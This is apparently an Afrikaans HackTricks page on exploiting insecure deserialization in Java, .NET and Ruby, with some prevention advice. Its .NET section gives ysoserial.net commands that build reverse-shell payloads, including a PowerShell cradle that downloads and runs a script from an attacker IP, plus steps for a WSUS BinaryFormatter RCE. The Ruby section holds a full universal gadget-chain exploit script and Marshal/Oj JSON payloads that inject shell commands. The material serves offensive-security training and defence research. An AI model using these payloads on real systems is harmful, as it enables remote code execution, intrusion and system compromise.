Dit bied ’n manier om deserialisering dinamies te beveilig, ideaal vir omgewings waar onmiddellike kodeveranderinge onprakties is.

Kyk na ’n voorbeeld by rO0 by Contrast Security

Implementering van serialiseringsfilters: Java 9 het serialiseringsfilters geïntroduseer via die ObjectInputFilter-koppelvlak, wat ’n kragtige meganisme bied om kriteria te spesifiseer waaraan geserialiseerde objekte moet voldoen voordat hulle gedeseriliseer word. Hierdie filters kan globaal of per stream toegepas word, wat gedetailleerde beheer oor die deserialiseringsproses bied.

Om serialiseringsfilters te gebruik, kan jy ’n globale filter stel wat op alle deserialiseringsoperasies van toepassing is, of dit dinamies vir spesifieke streams konfigureer. Byvoorbeeld:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Benutting van Eksterne Biblioteke vir Verbeterde Sekuriteit: Biblioteke soos NotSoSerial, jdeserialize, en Kryo bied gevorderde funksies om Java deserialisering te beheer en te monitor. Hierdie biblioteke kan addisionele sekuriteitslae verskaf, soos whitelisting of blacklisting van klasse, analiseer geserialiseerde objekte voor deserialisering, en die implementering van pasgemaakte serialiseringsstrategieë.

  • NotSoSerial onderskep deserialiseringsprosesse om die uitvoering van onbetroubare kode te voorkom.
  • jdeserialize maak analise van geserialiseerde Java-objekte moontlik sonder om dit te deserialiseer, wat help om moontlik kwaadwillige inhoud te identifiseer.
  • Kryo is ’n alternatiewe serialiseringsraamwerk wat spoed en doeltreffendheid beklemtoon, en bied konfigureerbare serialiseringsstrategieĂ« wat sekuriteit kan verbeter.

Verwysings

JNDI Injection & log4Shell

Vind wat JNDI Injection is, hoe om dit te misbruik via RMI, CORBA & LDAP en hoe om log4shell uit te buit (en ’n voorbeeld van hierdie kwesbaarheid) op die volgende bladsy:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

Die Java Message Service (JMS) API is ’n Java-beriggeoriĂ«nteerde middleware-API vir die stuur van boodskappe tussen twee of meer kliĂ«nte. Dit is ’n implementering om die produsent–verbruiker probleem te hanteer. JMS is ’n deel van die Java Platform, Enterprise Edition (Java EE), en is gedefinieer deur ’n spesifikasie ontwikkel by Sun Microsystems, maar wat sedertdien deur die Java Community Process gelei is. Dit is ’n boodskapstandaard wat toelaat dat toepassingskomponente gebaseer op Java EE boodskappe kan skep, stuur, ontvang en lees. Dit laat kommunikasie tussen verskillende komponente van ’n verspreide toepassing los gekoppel, betroubaar en asinkroon wees. (Van Wikipedia).

Produkte

Daar is verskeie produkte wat hierdie middleware gebruik om boodskappe te stuur:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Uitbuiting

Dus, basies is daar ’n klomp dienste wat JMS op ’n gevaarlike manier gebruik. Daarom, as jy oor genoeg voorregte beskik om boodskappe na hierdie dienste te stuur (gewoonlik benodig jy geldige geloofsbriewe) kan jy moontlik kwaadwillige, geserialiseerde objekte stuur wat deur die consumer/abonnee gedeserialiseer sal word.
Dit beteken dat in hierdie uitbuiting al die kliënte wat daardie boodskap gaan gebruik besmet sal word.

Onthou dat selfs al is ’n diens kwesbaar (omdat dit gebruikersinvoer onveilig deserialiseer), jy steeds geldige gadgets moet vind om die kwesbaarheid uit te buit.

Die hulpmiddel JMET is geskep om te koppel en hierdie dienste aan te val deur verskeie kwaadwillige, geserialiseerde objekte te stuur wat bekende gadgets gebruik. Hierdie exploits sal werk as die diens nog steeds kwesbaar is en as enige van die gebruikte gadgets binne die kwesbare toepassing voorkom.

Verwysings

.Net

In die konteks van .Net funksioneer deserialiseringsuitbuitings op ’n soortgelyke wyse as diĂ© in Java, waar gadgets uitgebuit word om spesifieke kode tydens die deserialisering van ’n objek uit te voer.

Fingerafdruk

WhiteBox

Die bronkode moet ondersoek word vir voorkomste van:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

Die fokus moet wees op serializers wat toelaat dat die tipe bepaal word deur ’n veranderlike onder gebruikerbeheer.

BlackBox

Die soektog moet op die Base64-geënkodeerde string AAEAAAD///// of enige soortgelyke patroon teiken wat op die bediener-kant aan deserialisering onderwerp kan word, wat beheer gee oor die tipe wat gedeserialiseer moet word. Dit kan insluit, maar is nie beperk tot, JSON of XML strukture met TypeObject of $type.

ysoserial.net

In hierdie geval kan jy die hulpmiddel ysoserial.net gebruik om deserialiseringsuitbuitings te skep. Nadat jy die git-repo afgelaai het, moet jy die hulpmiddel saamstel met byvoorbeeld Visual Studio.

As jy wil leer oor hoe ysoserial.net sy exploit skep kan jy bekyk hierdie bladsy waar die ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter verduidelik word.

Die hoofopsies van ysoserial.net is: --gadget, --formatter, --output en --plugin.

  • --gadget word gebruik om die gadget aan te dui wat misbruik sal word (wys die klas/funksie wat tydens deserialisering misbruik sal word om opdragte uit te voer).
  • --formatter gebruik om die metode te spesifiseer wat die exploit serialiseer (jy moet weet watter biblioteek die back-end gebruik om die payload te deserialiseer en dieselfde gebruik om dit te serialiseer).
  • --output gebruik om aan te dui of jy die exploit in raw of base64 gekodeer wil hĂȘ. Let wel dat ysoserial.net die payload kodeer met UTF-16LE (kodering standaard op Windows), so as jy die raw kry en dit net van ’n Linux-konsol af kodeer, kan jy kodering-kompatibiliteitsprobleme hĂȘ wat die exploit se korrektheid kan verhoed (in die HTB JSON-boks het die payload in beide UTF-16LE en ASCII gewerk, maar dit beteken nie dit sal altyd werk nie).
  • --plugin ysoserial.net ondersteun plugins om exploits vir spesifieke frameworks soos ViewState te vervaardig.

Meer ysoserial.net parameters

  • --minify sal ’n kleiner payload gee (indien moontlik)
  • --raf -f Json.Net -c "anything" Dit sal al die gadgets aandui wat saam met ’n gegewe formatter gebruik kan word (Json.Net in hierdie geval)
  • --sf xml jy kan ’n gadget aandui (-g) en ysoserial.net sal soek na formatters wat “xml” bevat (ongevoelig vir hoofletters)

ysoserial voorbeelde om exploits te skep:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net het ook ’n baie interessante parameter wat help om beter te verstaan hoe elke exploit werk: --test\ As jy hierdie parameter aandui, sal ysoserial.net probeer die exploit lokaal, sodat jy kan toets of jou payload korrek sal werk.\ Hierdie parameter is nuttig, want as jy die kode hersien, sal jy stukkies kode soos die volgende vind (van ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Dit beteken dat, om die exploit te toets, die code serializersHelper.JsonNet_deserialize sal aanroep.

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

In die vorige kode is vatbaar vir die geskepte exploit. As jy iets soortgelyks in ’n .Net-toepassing vind, beteken dit waarskynlik dat daardie toepassing ook vatbaar is. Daarom laat die --test parameter ons toe om te verstaan watter kodeblokke vatbaar is vir die deserialisatie-exploit wat ysoserial.net kan skep.

ViewState

Kyk na this POST about how to try to exploit the __ViewState parameter of .Net om willekeurige kode uit te voer. As jy die geheime wat deur die slagoffer-masjien gebruik word reeds ken, read this post to know to execute code.

Real‑world sink: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE

  • Geaffekteerde endpoints:
  • /SimpleAuthWebService/SimpleAuth.asmx → GetCookie() AuthorizationCookie ontsleutel en daarna gedeserialiseer met BinaryFormatter.
  • /ReportingWebService.asmx → ReportEventBatch en verwante SOAP ops wat SoapFormatter sinks bereik; base64 gadget word verwerk wanneer die WSUS console die gebeurtenis verwerk.
  • Worteloorsaak: deur-aanvaller-beheerde bytes bereik legacy .NET formatters (BinaryFormatter/SoapFormatter) sonder streng allow‑lists/binders, sodat gadget-kettings uitgevoer word as die WSUS-diensrekening (gewoonlik SYSTEM).

Minimal exploitation (Reporting path):

  1. Genereer ’n .NET gadget met ysoserial.net (BinaryFormatter of SoapFormatter) en gee base64-uitset, byvoorbeeld:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"

# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
  1. Stel ’n SOAP-boodskap op vir ReportEventBatch wat die base64 gadget insluit en POST dit na /ReportingWebService.asmx.
  2. Wanneer ’n admin die WSUS console oopmaak, word die gebeurtenis gedeserialiseer en die gadget afgevuur (RCE as SYSTEM).

AuthorizationCookie / GetCookie()

  • ’n vervalste AuthorizationCookie kan aanvaar, gedekodeer en aan ’n BinaryFormatter sink deurgegee word, wat pre‑auth RCE moontlik maak as dit bereikbaar is.

Public PoC (tecxx/CVE-2025-59287-WSUS) parameters:

$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"

Sien Windows Local Privilege Escalation – WSUS

Voorkoming

Om die risiko’s geassosieer met deserialisering in .Net te beperk:

  • Moet nie datastrome toelaat om hul objektipes te definieer nie. Gebruik DataContractSerializer of XmlSerializer waar moontlik.
  • Vir JSON.Net, stel TypeNameHandling op None: TypeNameHandling = TypeNameHandling.None
  • Moet nie JavaScriptSerializer met JavaScriptTypeResolver gebruik nie.
  • Beperk die tipes wat gedeserialiseer kan word, en wees bewus van die inherente risiko’s met .Net-tipes, soos System.IO.FileInfo, wat die eienskappe van bedienerlĂȘers kan verander, wat moontlik tot denial of service attacks kan lei.
  • Wees versigtig met tipes wat riskante eienskappe het, soos System.ComponentModel.DataAnnotations.ValidationException met sy Value eienskap, wat uitgebuit kan word.
  • Beheer tipe-instansiering veilig om te voorkom dat aanvallers die deserialiseringsproses beĂŻnvloed, wat selfs DataContractSerializer of XmlSerializer kwesbaar kan maak.
  • Implementeer witlys-beheer met ’n pasgemaakte SerializationBinder vir BinaryFormatter en JSON.Net.
  • Bly ingelig oor bekende onveilige deserialisering gadgets in .Net en verseker dat deserialiseerders nie sulke tipes instansieer nie.
  • Isoleer moontlik riskante kode van kode met internettoegang om te voorkom dat bekende gadgets, soos System.Windows.Data.ObjectDataProvider in WPF-toepassings, aan onbetroubare databronne blootgestel word.

Verwysings

Ruby

In Ruby word serialisering gefasiliteer deur twee metodes binne die marshal-biblioteek. Die eerste metode, bekend as dump, word gebruik om ’n objek na ’n byte-stream te omskakel. Hierdie proses staan bekend as serialisering. Omgekeerd word die tweede metode, load, gebruik om ’n byte-stream terug in ’n objek te verander, ’n proses bekend as deserialisering.

Om geserialiseerde objekke te beveilig, gebruik Ruby HMAC (Hash-Based Message Authentication Code), wat die integriteit en egtheid van die data verseker. Die sleutel wat hiervoor gebruik word, word in een van verskeie moontlike plekke gestoor:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X generiese deserialisering na RCE gadget chain (meer info in https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Ander RCE-ketting om Ruby On Rails uit te buit: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() method

Soos verduidelik in this vulnerability report, as ongefiltreerde gebruikersinvoer die .send()-metode van ’n ruby-objek bereik, laat hierdie metode toe om enige ander metode van die objek aan te roep met enige parameters.

Byvoorbeeld, deur eval aan te roep en dan ruby-kode as tweede parameter te gee, sal dit toelaat om ewekansige kode uit te voer:

<Object>.send('eval', '<user input with Ruby code>') == RCE

Verder, as slegs een parameter van .send() deur ’n aanvaller beheer word, soos in die vorige writeup genoem, is dit moontlik om enige metode van die objek aan te roep wat geen argumente benodig of waarvan die argumente verstekwaardes het.
Daarvoor is dit moontlik om al die metodes van die objek te lys om sommige interessante metodes te vind wat daardie vereistes vervul.

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

Kyk hoe dit moontlik kan wees om pollute a Ruby class and abuse it in here.

Ruby _json pollution

Wanneer sekere waardes in die body gestuur word wat nie hashabled is nie, soos ’n array, word hulle bygevoeg tot ’n nuwe sleutel genaamd _json. Dit is egter moontlik vir ’n attacker om in die body ’n waarde genaamd _json te stel met arbitraire waardes wat hy wil. As die backend byvoorbeeld die waarheidsgetrouheid van ’n parameter nagaan, maar dan ook die _json-parameter gebruik om ’n aksie uit te voer, kan ’n authorisation bypass uitgevoer word.

Kyk na meer inligting op die Ruby _json pollution page.

Ander libraries

Hierdie tegniek is geneem van hierdie blogpos.

Daar is ander Ruby libraries wat gebruik kan word om objects te serialize en wat dus misbruik kan word om RCE te verkry tydens insecure deserialization. Die volgende tabel wys ’n paar van hierdie libraries en die metode wat geroep word van die gelaaide library wanneer dit ge-unserialize word (funksie wat misbruik kan word om RCE te kry basies):

LibraryInput dataKick-off method inside class
Marshal (Ruby)Binary_load
OjJSONhash (class needs to be put into hash(map) as key)
OxXMLhash (class needs to be put into hash(map) as key)
Psych (Ruby)YAMLhash (class needs to be put into hash(map) as key)
init_with
JSON (Ruby)JSONjson_create ([see notes regarding json_create at end](#table-vulnerable-sinks))

Basiese voorbeeld:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

In die geval van ’n poging om Oj te misbruik, was dit moontlik om ’n gadget-klas te vind wat binne sy hash-funksie to_s sal aanroep, wat op sy beurt spec sal aanroep, wat weer fetch_path sal aanroep — wat gemaak kon word om ’n ewekansige URL te haal, en sodoende ’n uitstekende detektor vir hierdie tipe nie-gesuiwerde deserialisering-kwesbaarhede bied.

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

Daarbenewens is gevind dat met die vorige tegniek ’n gids ook in die stelsel geskep word, wat ’n vereiste is om nog ’n gadget te misbruik om dit in ’n volledige RCE om te skakel met iets soos:

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Check vir meer besonderhede in die original post.

Bootstrap Caching

Nie regtig ’n deserialization vuln nie, maar ’n netjiese truuk om Bootsnap caching te misbruik om RCE te kry vanaf ’n Rails application met ’n arbitrary file write (vind die volledige original post in here).

Hieronder is ’n kort samevatting van die stappe soos in die artikel beskryf om ’n arbitrary file write kwetsbaarheid te ekspluateer deur Bootsnap caching te misbruik:

  • Identify the Vulnerability and Environment

    Die Rails app se file upload funksionaliteit laat ’n aanvaller toe om files arbitrĂȘr te skryf. Alhoewel die app met beperkings loop (slegs sekere directories soos tmp is skryfbaar weens Docker se non-root user), laat dit steeds toe om na die Bootsnap cache directory te skryf (tipies onder tmp/cache/bootsnap).

  • Understand Bootsnap’s Cache Mechanism

    Bootsnap versnel Rails boot times deur gecompileerde Ruby code, YAML, en JSON files te cache. Dit stoor cache files wat ’n cache key header insluit (met velde soos Ruby version, file size, mtime, compile options, ens.) gevolg deur die compiled code. Hierdie header word gebruik om die cache tydens app startup te valideer.

  • Gather File Metadata

    Die aanvaller kies eers ’n teikenfile wat waarskynlik tydens Rails startup gelaai word (byvoorbeeld set.rb van Ruby’s standard library). Deur Ruby code binne die container uit te voer, haal hulle kritieke metadata (soos RUBY_VERSION, RUBY_REVISION, size, mtime, en compile_option). Hierdie data is noodsaaklik om ’n geldige cache key te vervaardig.

  • Compute the Cache File Path

    Deur Bootsnap se FNV-1a 64-bit hash meganisme te repliseer, word die korrekte cache file path bepaal. Hierdie stap verseker dat die kwaadwillige cache file presies geplaas word waar Bootsnap dit verwag (bv. onder tmp/cache/bootsnap/compile-cache-iseq/).

  • Craft the Malicious Cache File

    Die aanvaller berei ’n payload voor wat:

    • Executes arbitrary commands (byvoorbeeld, run id om process info te wys).
    • Removes the malicious cache after execution om recursive exploitation te voorkom.
    • Loads the original file (bv. set.rb) om te verhoed dat die application crash.

    Hierdie payload word gecompileer in binary Ruby code en gekonkateneer met ’n noukeurig opgeboude cache key header (gebruik die vooraf versamelde metadata en die korrekte version number vir Bootsnap).

  • Overwrite and Trigger Execution

    Deur die arbitrary file write kwetsbaarheid te gebruik, skryf die aanvaller die samengestelde cache file na die berekende lokasie. Volgende, hulle trigger ’n server restart (deur na tmp/restart.txt te skryf, wat deur Puma gemonitor word). Tydens restart, wanneer Rails die geteikende file require, word die kwaadwillige cache file gelaai, wat lei tot remote code execution (RCE).

Ruby Marshal exploitation in practice (updated)

Behandel enige pad waar onbetroubare bytes by Marshal.load/marshal_load uitkom as ’n RCE sink. Marshal rekonstrueer arbitrĂȘre object graphs en trigger library/gem callbacks tydens materialization.

  • Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
  • Algemene gadget classes wat in werklike chains gesien word: Gem::SpecFetcher, Gem::Version, Gem::RequestSet::Lockfile, Gem::Resolver::GitSpecification, Gem::Source::Git.
  • Tipiese side-effect marker ingebed in payloads (uitgevoer tydens unmarshal):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip

Waar dit in werklike apps voorkom:

  • Rails cache stores en sessiestores wat histories Marshal gebruik
  • Background job backends en file-backed object stores
  • Enige pasgemaakte persistentie of vervoer van binĂȘre objek-blobbe

Industrialized gadget discovery:

  • Grep vir constructors, hash, _load, init_with, of metode met newe-effekte wat tydens unmarshal aangeroep word
  • Gebruik CodeQL’s Ruby unsafe deserialization queries om sources → sinks te spoor en gadgets te identifiseer
  • Valideer met openbare multi-formaat PoCs (JSON/XML/YAML/Marshal)

References

  • Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
  • elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
  • Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
  • CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
  • ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
  • Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
  • GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
  • GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
  • Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
  • Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
  • Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
  • Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
  • Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
  • Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
  • watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
  • OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
  • PoC – tecxx/CVE-2025-59287-WSUS
  • RSC Report Lab – CVE-2025-55182 (React 19.2.0)

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks